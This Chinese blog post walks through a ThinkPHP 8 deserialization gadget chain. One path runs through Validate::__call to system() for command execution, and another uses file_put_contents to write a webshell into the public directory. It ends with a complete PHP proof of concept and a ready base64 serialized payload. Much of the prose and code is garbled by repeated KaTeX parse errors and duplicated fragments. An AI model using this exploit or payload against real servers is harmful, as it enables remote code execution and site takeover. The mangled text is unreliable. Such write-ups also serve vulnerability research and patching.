反序列化链分析

反序列化链1
分析过程
Thinkphp8 反序列化调用链从ResourceRegister#__destruct()开始,最终调用到Validate#is()下,该方法下存在一个call_user_func_array()可供我们调用执行命令

反序列化链的起点在ResourceRegister#__destruct()下,其中registered初始化值为false,可以调用到registered初始化值为false,可以调用到registered初始化值为false,可以调用到this->register(),在register下由于this−>resource可控,所以我们可以构造this->resource可控,所以我们可以构造this>resource可控,所以我们可以构造this->resource = new Resource(),Resource类下存在一个parseGroupRule方法。

public function __destruct()
{
if (!$this->registered) {
KaTeX parse error: Expected 'EOF', got '}' at position 23: …egister(); }̲ } ![在这里插入图片描述]…this->resource->getRule(),在该方法里面返回的是$this->rule的内容,该值是可控的

public function getRule()
{
return KaTeX parse error: Expected 'EOF', got '}' at position 13: this->rule; }̲ 在parseGroupRul…rule中是否包含".",如果条件成立的话会进入到if语句中,接着会通过explode函数以“.”为分隔符划分$rule,接着进入到foreach中进行拼接字符串。

由于option=option=option=this->options,所以options数组是可控的,在foreach语句中,代码将options数组是可控的,在foreach语句中,代码将options数组是可控的,在foreach语句中,代码将val的内容和option[′var′][option['var'][option[var][val]拼接起来,如果option[′var′][option['var'][option[var][val]的值可控且是一个对象的时候,会调用到该对象的__toString(),这里需要利用到的对象是Conversion类的__toString()

可以构造rule的值为"1.1",rule的值为"1.1",rule的值为"1.1"this->option=[“var”=>[“1”=>new Conversion()]],那么当执行到字符串拼接部分的代码时,就会调用到Conversion类的__toString方法。

在这里插入图片描述
由于这里Conversion类的类型为trait,是不可以通过new Conversion()的形式实例化成一个对象的,所以这里需要用到Pivot类,该类继承自Model类,而Model类下使用到了model\concern\Conversion

在这里插入图片描述
在Conversion#toString()中先调用$this->toJson(),接着按照下面的调用栈,跟进到appendAttrToArray()

Conversion#__toString()
Conversion#toJson()
Conversion#toArray()
Conversion#appendAttrToArray()
在这里插入图片描述
在appendAttrToArray()中通过is_array()来判断name是否是数组,这里的name是否是数组,这里的name是否是数组,这里的key和name的值通过name的值通过name的值通过this->append得到

this−>append=["test"=>[]]//根据要求构造了this->append = ["test"=>[]] //根据要求构造了this>append=["test"=>[]]//根据要求构造了this->append的值

foreach ($this->append as $key => $name) {
this−>appendAttrToArray(this->appendAttrToArray(this>appendAttrToArray(item, $key, $name, $visible, KaTeX parse error: Expected 'EOF', got '}' at position 10: hidden); }̲ 接着进入到this->getRelationWith()中,在Validate类的__call魔术方法中,使用到了call_user_func_array(),通过call_user_func_array()可以构造命令执行,所以我们的反序列链需要调用到Validate#__call()

这里需要令relation的值为Validate对象,那么当程序执行到relation的值为Validate对象,那么当程序执行到relation的值为Validate对象,那么当程序执行到relation->hidden()时,由于Validate对象中并不存在hidden()方法,就会调用该对象里的__call()魔术方法。

而进入到relation−>hidden()的条件是relation->hidden()的条件是relation>hidden()的条件是hidden[key]必须存在,key]必须存在,key]必须存在,hidden[key]是可控的,所以先进入到key]是可控的,所以先进入到key]是可控的,所以先进入到this->getRelation()中看看如何令this−>getRelation()的返回值this->getRelation()的返回值this>getRelation()的返回值relation为Validate对象在这里插入图片描述
这里我们利用return this−>relation[this->relation[this>relation[name]来返回我们的Validate对象。因为这里name参数实际上就是传递进来的name参数实际上就是传递进来的name参数实际上就是传递进来的this->append的key,key,keythis->relation的内容可控,这样返回的this−>relation[this->relation[this>relation[name]就是new Validate()了

$this->append = [“test”=>[]]
this−>this->this>relation = [“test”=>new Validate()]在这里插入图片描述
得到了relation之后,执行到relation之后,执行到relation之后,执行到relation->hidden(hidden[hidden[hidden[key])时,就会调用到Validate#__call(),参数是hidden[hidden[hidden[key]

if (KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (isset(visible[$key])) {
relation−>visible(relation->visible(relation>visible(visible[KaTeX parse error: Expected 'EOF', got '}' at position 12: key]); }̲ elseif (isset(hidden[$key])) {
relation−>hidden(relation->hidden(relation>hidden(hidden[KaTeX parse error: Expected 'EOF', got '}' at position 12: key]); }̲ } 跟进到Validate#…this, ‘is’], args)调用到该类下的is()方法,可以看到在calluserfuncarray()调用的回调函数是args) 调用到该类下的is()方法,可以看到在call_user_func_array()调用的回调函数是args)调用到该类下的is()方法,可以看到在calluserfuncarray()调用的回调函数是this->type[rule],这里rule],这里rule],这里rule的值为hidden,value就是value就是value就是hidden[$key]

this−>type=["hidden"=>"system"]//通过this->type = ["hidden"=>"system"] //通过this>type=["hidden"=>"system"]//通过this->type[$rule]得到回调函数system

在这里插入图片描述
参数[value]这里有一个坑,当使用calluserfuncarray()时,它接受两个变量,第一个变量是回调函数,第二个参数是参数数组,将回调函数需要的参数放到[[value]这里有一个坑,当使用call_user_func_array()时,它接受两个变量,第一个变量是回调函数,第二个参数是参数数组,将回调函数需要的参数放到[[value]这里有一个坑,当使用calluserfuncarray()时,它接受两个变量,第一个变量是回调函数,第二个参数是参数数组,将回调函数需要的参数放到[value]里,所以这里call_user_func_array(“system”, [value])只能接收一个字符串参数value])只能接收一个字符串参数value])只能接收一个字符串参数value

通过上面的分析我们已经知道value的值是通过value的值是通过value的值是通过hidden[key]得到的,实际上key]得到的,实际上key]得到的,实际上hidden[$key]的值是一个数组,所以这里导致参数变成了[[“whoami”]]这种形式
KaTeX parse error: Expected 'EOF', got '#' at position 18: …dden从Conversion#̲toArray()中得到,如果…this->hidden=[“test”=>“whoami”]的形式,那么程序就会进入到hidden[hidden[hidden[val]=true,得到的$hidden=[“whoami”=>“true”]。

foreach ($this->hidden as $key => KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (is_string(val)) {
if (str_contains(KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ [relation, $name] = explode(‘.’, $val);
hidden[hidden[hidden[relation][] = $name;
} else {
hidden[hidden[hidden[val] = true;
}
} else {
hidden[hidden[hidden[key] = KaTeX parse error: Expected 'EOF', got '}' at position 10: val; }̲ } 所以我们需要一个类将参数…this->value,$this->value可控,所以我们可以构造所需的类。当程序执行到call_user_func_array(“system”, [new ConstStub()])时就会调用ConstStub的魔法方法__toString()返回一个字符串calc

$this->hidden = [“test”=> new ConstStub()]

namespace Symfony\Component\VarDumper\Caster{
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub{}
}
namespace Symfony\Component\VarDumper\Cloner{
class Stub{
public $value = “calc”;
}
}
在这里插入图片描述

在这里插入图片描述
在getValue()中,跟进this−>getRealFieldName()可以看到返回值是可控的,接着会判断this->getRealFieldName()可以看到返回值是可控的,接着会判断this>getRealFieldName()可以看到返回值是可控的,接着会判断this->get中是否存在fieldName的键值,这里的fieldName的键值,这里的fieldName的键值,这里的this->get是可控的在这里插入图片描述
跟进到getJsonValue()中,可以看到在568行可以通过closure(closure(closure(value[key],key],key],value),参数全都是可控的,就可以通过file_put_contents去写入webshell

在这里插入图片描述
在代码中添加一个反序列化的入口点,执行反序列化之后可以看到在网站public目录下会生成一个webshell文件

在这里插入图片描述
反序列化调用链
ResourceRegister#__destruct()
ResourceRegister#__register()
Resource#__parseGroupRule()
Conversion#__toString()
Conversion#toJson()
Conversion#toArray()
Attribute#getAttr()
Attribute#getValue()
Attribute#getJsonValue()
完整poc

<?php namespace think { abstract class Model { private $data; protected $visible; protected $jsonAssoc; protected $json; private $withAttr; public function __construct() { $this->jsonAssoc = true; $this->data = ["test"=>["test"=>"kakaxsxs.php", "test2"=>"<?php phpinfo()?>"]];
        $this->visible = ["test"=>"test"];
        $this->json = ["test"=>"test"];
        $this->withAttr = ["test"=>["test"=>"file_put_contents"]];
    }
}

}
namespace think\model {
use think\Model;
class Pivot extends Model {}
}
namespace think\route {
use think\model\Pivot;
class Rule {
protected $rule;
protected $option;
public function __construct() {
$this->rule = “1.1”;
$this->option = [“var”=>[“1”=>new Pivot()]];
}
}
class RuleGroup extends Rule {
public function __construct() {
parent::__construct();
}
}
class Resource extends RuleGroup {
public function __construct() {
parent::__construct();
}
}
class ResourceRegister {
protected $resource;
public function __construct() {
$this->resource = new Resource();
}
}
}

namespace {
KaTeX parse error: Undefined control sequence: \route at position 16: obj = new think\̲r̲o̲u̲t̲e̲\ResourceRegist…obj));
}

/*
TzoyODoidGhpbmtccm91dGVcUmVzb3VyY2VSZWdpc3RlciI6MTp7czoxMToiACoAcmVzb3VyY2UiO086MjA6InRoaW5rXHJvdXRlXFJlc291cmNlIjoyOntzOjc6IgAqAHJ1bGUiO3M6MzoiMS4xIjtzOjk6IgAqAG9wdGlvbiI7YToxOntzOjM6InZhciI7YToxOntpOjE7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjU6e3M6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoidGVzdCI7YToyOntzOjQ6InRlc3QiO3M6MTI6Imtha2F4c3hzLnBocCI7czo1OiJ0ZXN0MiI7czoxNzoiPD9waHAgcGhwaW5mbygpPz4iO319czoxMDoiACoAdmlzaWJsZSI7YToxOntzOjQ6InRlc3QiO3M6NDoidGVzdCI7fXM6MTI6IgAqAGpzb25Bc3NvYyI7YjoxO3M6NzoiACoAanNvbiI7YToxOntzOjQ6InRlc3QiO3M6NDoidGVzdCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjQ6InRlc3QiO2E6MTp7czo0OiJ0ZXN0IjtzOjE3OiJmaWxlX3B1dF9jb250ZW50cyI7fX19fX19fQ==
*/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值